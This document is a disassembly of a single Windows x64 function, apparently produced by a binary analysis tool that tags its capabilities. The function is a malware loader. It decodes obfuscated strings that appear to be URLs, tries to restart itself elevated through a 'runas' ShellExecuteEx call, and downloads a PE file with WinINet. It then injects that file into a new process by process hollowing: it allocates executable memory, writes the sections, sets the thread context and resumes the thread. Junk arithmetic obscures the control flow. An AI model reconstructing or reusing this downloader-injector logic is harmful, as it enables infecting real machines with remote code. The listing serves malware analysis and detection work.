Function at 0x140001a21
Capabilities:
Allocate or change rwx memory
Create http request
Create process on windows
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa28
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x990], xmm6
call fcn.140011b50
lea rcx, [rbp - 0x2f]
mov dword [rcx - 1], 0x7f6b9c
mov byte [rcx - 1], 0
mov byte [rcx], 0x29
mov byte [rcx + 1], 0x2a
mov byte [rcx + 2], 3
mov byte [rcx + 3], 0x17
mov al, 0x5c
mov byte [rcx + 4], al
mov byte [rcx + 5], 5
mov byte [rcx + 6], al
mov byte [rcx + 7], 0x78
cmp byte [rcx - 1], 0
jne 0x140001ae9
xor eax, eax
movzx edx, byte [rbp + rax - 0x2f]
add edx, edx
lea r8d, [rdx + rdx*4]
lea edx, [rdx + rdx*4]
add edx, 0xfffffb50
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, r8d
add edx, 0xfffffb50
movzx edx, dx
movsx r9d, dx
shr edx, 0xf
sar r9d, 6
add r9d, edx
mov edx, r9d
shl edx, 7
sub r9d, edx
lea edx, [r9 + r8]
add edx, 0xfffffb50
lea r8d, [rdx + 0x7f]
cmp dx, 0xff81
movzx r8d, r8b
cmovb r8d, edx
mov byte [rbp + rax - 0x2f], r8b
inc rax
cmp rax, 8
jne 0x140001a7e
call fcn.140001823
test al, al
jne 0x140001e89
lea rsi, [rbp - 0x30]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp + 0x4a0], 0x7f6b9c
imul eax, dword [rbp + 0x4a0], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140001b4c
or esi, 2
add dword [rbp + 0x4a0], esi
test dword [rbp + 0x4a0], 3
jne 0x140001c84
inc dword [rbp + 0x4a0]
jmp 0x140001b34
test dword [rbp + 0x4a0], 1
mov eax, dword [rbp + 0x4a0]
jne 0x140001bc4
mov ecx, dword [rbp + 0x4a0]
test al, 3
je 0x140001c07
add ecx, 2
or esi, 3
imul esi, ecx
mov dword [rbp + 0x4a0], esi
mov eax, dword [rbp + 0x4a0]
test al, 1
jne 0x140001c84
imul ecx, dword [rbp + 0x4a0], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x4a0]
cmp ecx, 0x33333333
jb 0x140001bab
dec eax
jmp 0x140001bad
inc eax
mov dword [rbp + 0x4a0], eax
test dword [rbp + 0x4a0], 1
je 0x140001b89
jmp 0x140001c84
sub eax, esi
add eax, 2
mov dword [rbp + 0x4a0], eax
imul eax, dword [rbp + 0x4a0], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140001c84
inc dword [rbp + 0x4a0]
imul eax, dword [rbp + 0x4a0], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140001be9
jmp 0x140001c84
imul eax, ecx, 0xcccccccd
add eax, 0x19999999
cmp eax, 0x33333333
jb 0x140001c84
mov eax, dword [rbp + 0x4a0]
add eax, 0xb
add esi, 0x17
cdq
idiv esi
mov dword [rbp + 0x4a0], eax
imul eax, dword [rbp + 0x4a0], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140001c84
imul ecx, dword [rbp + 0x4a0], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x4a0]
cmp ecx, 0x33333333
jb 0x140001c66
inc eax
jmp 0x140001c68
dec eax
mov dword [rbp + 0x4a0], eax
imul eax, dword [rbp + 0x4a0], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140001c44
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmmword [rbp + 0x500], xmm0
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmmword [rbp + 0x4c0], xmm0
mov dword [rbp + 0x4a0], 0x70
lea rax, str.runas
mov qword [rbp + 0x4b0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x4b8], rax
lea r14, [rbp + 0x918]
mov qword [r14 - 0x10], r14
lea rsi, [rbp - 0x30]
mov rcx, rsi
call sub.msvcrt.dll_strlen
lea r8, [rax + rbp]
add r8, 0xffffffffffffffd0
lea rdi, [rbp + 0x908]
mov rcx, rdi
mov rdx, rsi
call fcn.1400a0b40
mov qword [rsp + 0x20], 4
lea r9, str._c__
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call fcn.1400a2c70
mov rdi, rax
lea rsi, [rbp + 0x950]
mov qword [rsi - 0x10], rsi
mov rdx, qword [rax]
mov rbx, rax
add rbx, 0x10
cmp rdx, rbx
je 0x140001d5c
mov qword [rbp + 0x940], rdx
mov rax, qword [rbx]
mov qword [rbp + 0x950], rax
jmp 0x140001d6b
mov r8, qword [rdi + 8]
inc r8
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov rax, qword [rdi + 8]
lea rcx, [rbp + 0x940]
mov qword [rcx + 8], rax
mov qword [rdi], rbx
mov qword [rdi + 8], 0
mov byte [rdi + 0x10], 0
lea rdx, [0x1400bc0e1]
call fcn.1400a1bc0
mov rbx, rax
lea rdi, [rbp + 0x8b0]
mov qword [rdi - 0x10], rdi
mov rdx, qword [rax]
mov r15, rax
add r15, 0x10
cmp rdx, r15
je 0x140001dc5
mov qword [rbp + 0x8a0], rdx
mov rax, qword [r15]
mov qword [rbp + 0x8b0], rax
jmp 0x140001dd4
mov r8, qword [rbx + 8]
inc r8
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx + 8]
mov qword [rbp + 0x8a8], rax
mov qword [rbx], r15
mov qword [rbx + 8], 0
mov byte [rbx + 0x10], 0
mov rcx, qword [rbp + 0x8a0]
mov qword [rbp + 0x4c0], rcx
cmp rcx, rdi
je 0x140001e06
call fcn.1400b5ed0
mov rcx, qword [rbp + 0x940]
cmp rcx, rsi
je 0x140001e17
call fcn.1400b5ed0
mov rcx, qword [rbp + 0x908]
cmp rcx, r14
je 0x140001e28
call fcn.1400b5ed0
lea rcx, [rbp + 0x4a0]
mov dword [rcx + 0x30], 0
mov dword [rbp + 0x8a0], 0x7f6b9c
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001e89
mov rsi, qword [0x1400c20c0]
lea rdx, str.Failed_to_restart_with_elevated_privileges.
mov r8d, 0x2b
mov rcx, rsi
call fcn.1400b0d50
mov rax, qword [rsi]
mov rcx, qword [rax - 0x18]
add rcx, rsi
mov dl, 0xa
call fcn.140067a00
mov rcx, rsi
mov edx, eax
call fcn.1400755a0
mov rcx, rax
call fcn.140075780
mov dword [rbp - 0x30], 0x7f6b9c
mov dword [rsp + 0x20], 0
lea rcx, str.User_Agent
mov edi, 1
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002644
mov r15, rax
lea rdi, [rbp + 0x4a1]
mov byte [rdi - 1], 0
mov cl, 0x67
mov byte [rdi], cl
mov al, 0x45
mov byte [rdi + 1], al
mov byte [rdi + 2], al
mov dl, 0x26
mov byte [rdi + 3], dl
mov byte [rdi + 4], 0x40
mov r8b, 0x4a
mov byte [rdi + 5], r8b
mov byte [rdi + 6], r8b
mov byte [rdi + 7], al
mov byte [rdi + 8], 0x30
mov byte [rdi + 9], 0x6e
mov byte [rdi + 0xa], dl
mov dl, 0x62
mov byte [rdi + 0xb], dl
mov byte [rdi + 0xc], 0x5d
mov byte [rdi + 0xd], cl
mov byte [rdi + 0xe], r8b
mov byte [rdi + 0xf], 3
mov byte [rdi + 0x10], 6
mov byte [rdi + 0x11], 0x74
mov byte [rdi + 0x12], 0x25
mov byte [rdi + 0x13], 0x1f
mov byte [rdi + 0x14], r8b
mov byte [rdi + 0x15], 0x75
mov cl, 0x11
mov byte [rdi + 0x16], cl
mov byte [rdi + 0x17], 0x7c
mov byte [rdi + 0x18], 0x48
mov byte [rdi + 0x19], cl
mov byte [rdi + 0x1a], al
mov byte [rdi + 0x1b], cl
mov byte [rdi + 0x1c], dl
mov byte [rdi + 0x1d], 0x78
mov byte [rdi + 0x1e], 0x4f
mov byte [rdi + 0x1f], 0x56
mov byte [rdi + 0x20], 0x3b
cmp byte [rdi - 1], 0
jne 0x140001fc3
mov eax, 1
movzx ecx, byte [rbp + rax + 0x4a0]
lea edx, [rcx + rcx*8]
lea r8d, [rcx + rdx*4]
lea ecx, [rcx + rdx*4]
add ecx, 0xfffff779
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, r8d
add ecx, 0xfffff779
movzx ecx, cx
movsx edx, cx
shr ecx, 0xf
sar edx, 6
add edx, ecx
mov ecx, edx
shl ecx, 7
sub edx, ecx
lea ecx, [rdx + r8]
add ecx, 0xfffff779
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x4a0], dl
inc rax
cmp rax, 0x22
jne 0x140001f5a
lea rax, [rbp - 0x20]
mov qword [rax - 0x10], rax
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea r8, [rax + rdi]
lea rcx, [rbp - 0x30]
mov rdx, rdi
call fcn.1400a0b40
lea rdi, [rbp - 0x10]
lea rbx, [rbp + 0x8a1]
mov byte [rbx - 1], 0
mov cl, 0x4e
mov byte [rbx], cl
mov al, 0x2d
mov byte [rbx + 1], al
mov byte [rbx + 2], al
mov dl, 0x38
mov byte [rbx + 3], dl
mov byte [rbx + 4], 0xe
mov r8b, 0x4c
mov byte [rbx + 5], r8b
mov byte [rbx + 6], r8b
mov byte [rbx + 7], al
mov byte [rbx + 8], 0x76
mov byte [rbx + 9], 0x60
mov byte [rbx + 0xa], dl
mov dl, 0x2f
mov byte [rbx + 0xb], dl
mov byte [rbx + 0xc], 0x10
mov byte [rbx + 0xd], cl
mov byte [rbx + 0xe], r8b
mov byte [rbx + 0xf], 0x5d
mov byte [rbx + 0x10], 0xa
mov byte [rbx + 0x11], 0x39
mov byte [rbx + 0x12], 0x7e
mov byte [rbx + 0x13], 0x26
mov byte [rbx + 0x14], r8b
mov byte [rbx + 0x15], 0x72
mov cl, 2
mov byte [rbx + 0x16], cl
mov byte [rbx + 0x17], 5
mov byte [rbx + 0x18], 0x59
mov byte [rbx + 0x19], cl
mov byte [rbx + 0x1a], al
mov byte [rbx + 0x1b], cl
mov byte [rbx + 0x1c], dl
mov byte [rbx + 0x1d], 0x1f
mov byte [rbx + 0x1e], 0x6b
mov byte [rbx + 0x1f], 0x7d
mov byte [rbx + 0x20], 0x6e
cmp byte [rbx - 1], 0
jne 0x1400020e7
mov eax, 1
movzx ecx, byte [rbp + rax + 0x8a0]
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0xf0a
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xf0a
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0xf0a
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x8a0], dl
inc rax
cmp rax, 0x22
jne 0x140002080
lea rax, [rbp]
mov qword [rax - 0x10], rax
mov rcx, rbx
call sub.msvcrt.dll_strlen
lea r8, [rax + rbx]
mov rcx, rdi
mov rdx, rbx
call fcn.1400a0b40
xorps xmm0, xmm0
lea rcx, [rbp + 0x940]
movaps xmmword [rcx], xmm0
mov qword [rcx + 0x10], 0
lea rdi, [rbp + 0x10]
lea rdx, [rbp - 0x30]
mov r8, rdi
call fcn.14009f780
mov rsi, 0xffffffffffffffc0
mov rcx, qword [rdi - 0x20]
lea rax, [rdi - 0x10]
cmp rax, rcx
je 0x140002144
call fcn.1400b5ed0
add rdi, 0xffffffffffffffe0
add rsi, 0x20
jne 0x140002132
mov r14, qword [rbp + 0x940]
mov rax, qword [rbp + 0x948]
mov qword [rbp + 0x930], rax
cmp r14, rax
je 0x140002625
xor ebx, ebx
xorps xmm6, xmm6
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x400100
mov rcx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140002685
mov rdi, rax
mov dword [rbp + 0x98c], ebx
mov dword [rbp + 0x968], 4
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 0x20000005
lea r8, [rbp + 0x98c]
lea r9, [rbp + 0x968]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov edx, dword [rbp + 0x98c]
lea rcx, [rbp + 0x908]
lea r8, [rbp - 0x30]
call fcn.14009f878
mov dword [rbp + 0x96c], ebx
mov rdx, qword [rbp + 0x908]
mov r8d, dword [rbp + 0x98c]
mov rcx, rdi
lea r9, [rbp + 0x96c]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, qword [rbp + 0x908]
mov dword [rbp - 0x30], 0x7f6b9c
imul eax, dword [rbp - 0x30], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x14000225e
mov eax, dword [rbp - 0x30]
add eax, r13d
add eax, 2
mov dword [rbp - 0x30], eax
test dword [rbp - 0x30], 3
jne 0x140002359
inc dword [rbp - 0x30]
jmp 0x14000224c
test dword [rbp - 0x30], 1
mov eax, dword [rbp - 0x30]
jne 0x1400022b8
mov ecx, dword [rbp - 0x30]
test al, 3
je 0x1400022f0
add ecx, 2
lea eax, [r13 + 3]
imul eax, ecx
mov dword [rbp - 0x30], eax
mov eax, dword [rbp - 0x30]
test al, 1
jne 0x140002359
imul ecx, dword [rbp - 0x30], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp - 0x30]
cmp ecx, 0x33333333
jb 0x1400022a5
dec eax
jmp 0x1400022a7
inc eax
mov dword [rbp - 0x30], eax
test dword [rbp - 0x30], 1
je 0x140002289
jmp 0x140002359
sub eax, r13d
add eax, 2
mov dword [rbp - 0x30], eax
imul eax, dword [rbp - 0x30], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140002359
inc dword [rbp - 0x30]
imul eax, dword [rbp - 0x30], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x1400022d8
jmp 0x140002359
imul eax, ecx, 0xcccccccd
add eax, 0x19999999
cmp eax, 0x33333333
jb 0x140002359
mov eax, dword [rbp - 0x30]
add eax, 0xb
lea ecx, [r13 + 0x17]
cdq
idiv ecx
mov dword [rbp - 0x30], eax
imul eax, dword [rbp - 0x30], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140002359
imul ecx, dword [rbp - 0x30], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp - 0x30]
cmp ecx, 0x33333333
jb 0x140002341
inc eax
jmp 0x140002343
dec eax
mov dword [rbp - 0x30], eax
imul eax, dword [rbp - 0x30], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140002325
movaps xmmword [rbp + 0x970], xmm6
mov qword [rbp + 0x980], rbx
movaps xmmword [rbp + 0x8a0], xmm6
movaps xmmword [rbp + 0x8b0], xmm6
movaps xmmword [rbp + 0x8c0], xmm6
movaps xmmword [rbp + 0x8d0], xmm6
movaps xmmword [rbp + 0x8e0], xmm6
movaps xmmword [rbp + 0x8f0], xmm6
mov qword [rbp + 0x900], rbx
mov dword [rbp - 0x30], 0x7f6b9c
movsxd rsi, dword [r13 + 0x3c]
cmp dword [rsi + r13], 0x4550
jne 0x140002580
xor ecx, ecx
lea rdx, [rbp + 0x4a0]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [0x1400bc14c]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140002595
mov rdi, rax
mov r12, r15
mov rcx, rax
lea rdx, [0x1400bc159]
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call r15
mov rbx, rax
mov rcx, rdi
lea rdx, [0x1400bc168]
call r15
test rbx, rbx
je 0x1400025af
mov rdi, rax
test rax, rax
je 0x1400025af
lea rax, [rbp + 0x970]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x8a0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rcx, [rbp + 0x4a0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rbx
test rax, rax
mov r15, r12
je 0x1400025ce
mov dword [rbp], 0x10000b
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400025e6
add rsi, r13
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov dword [rbp + 0x92c], 0x7f6b9c
mov rcx, qword [rbp + 0x970]
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, r13
call rdi
cmp word [rsi + 6], 0
mov qword [rbp + 0x938], r15
je 0x140002527
lea r12, [r13 + 0x108]
xor r15d, r15d
movsxd rax, dword [r13 + 0x3c]
mov rcx, qword [rbp + 0x970]
mov edx, dword [r12 + rax + 0xc]
mov r9d, dword [r12 + rax + 0x10]
add rdx, rbx
mov r8d, dword [r12 + rax + 0x14]
add r8, r13
mov qword [rsp + 0x20], 0
call rdi
inc r15
movzx eax, word [rsi + 6]
add r12, 0x28
cmp r15, rax
jb 0x1400024ec
lea r8, [rsi + 0x30]
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rbp + 0x58]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
call rdi
mov eax, dword [rsi + 0x28]
add rax, rbx
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rbx
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r15, qword [rbp + 0x938]
jmp 0x1400025e6
lea rcx, str.Invalid_PE_file._n
call fcn.1400026fb
lea rcx, str.Invalid_PE_file
jmp 0x1400025a8
lea rcx, str.Failed_to_load_kernel32.dll._n
call fcn.1400026fb
lea rcx, str.Failed_to_load_kernel32.dll
call fcn.140001667
jmp 0x1400025ef
lea rcx, str.Failed_to_get_function_addresses._n
call fcn.1400026fb
lea rcx, str.Function_address_retrieval_failed
call fcn.140001667
xor ebx, ebx
mov r15, r12
jmp 0x1400025e8
lea rcx, str.Failed_to_create_process._n
call fcn.1400026fb
lea rcx, str.Process_creation_failed
call fcn.140001667
xor ebx, ebx
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x970]
call r12
mov rcx, qword [rbp + 0x978]
call r12
mov rcx, qword [rbp + 0x908]
test rcx, rcx
je 0x140002614
call fcn.1400b5ed0
add r14, 0x20
cmp r14, qword [rbp + 0x930]
jne 0x140002178
lea rcx, str.Code_execution_completed._n
call fcn.1400026fb
lea rcx, str.Code_execution_completed
call fcn.140001667
xor edi, edi
jmp 0x1400026d2
mov rsi, qword [0x1400c20c0]
lea rdx, str.Failed_to_open_Internet.
mov r8d, 0x18
mov rcx, rsi
call fcn.1400b0d50
mov rax, qword [rsi]
mov rcx, qword [rax - 0x18]
add rcx, rsi
mov dl, 0xa
call fcn.140067a00
mov rcx, rsi
mov edx, eax
call fcn.1400755a0
mov rcx, rax
call fcn.140075780
jmp 0x1400026de
mov rdi, qword [0x1400c20c0]
lea rdx, str.Failed_to_download_file.
mov r8d, 0x18
mov rcx, rdi
call fcn.1400b0d50
mov rax, qword [rdi]
mov rcx, qword [rax - 0x18]
add rcx, rdi
mov dl, 0xa
call fcn.140067a00
mov rcx, rdi
mov edx, eax
call fcn.1400755a0
mov rcx, rax
call fcn.140075780
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, 1
lea rcx, [rbp + 0x940]
call fcn.14009f828
mov eax, edi
movaps xmm6, xmmword [rbp + 0x990]
add rsp, 0xa28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret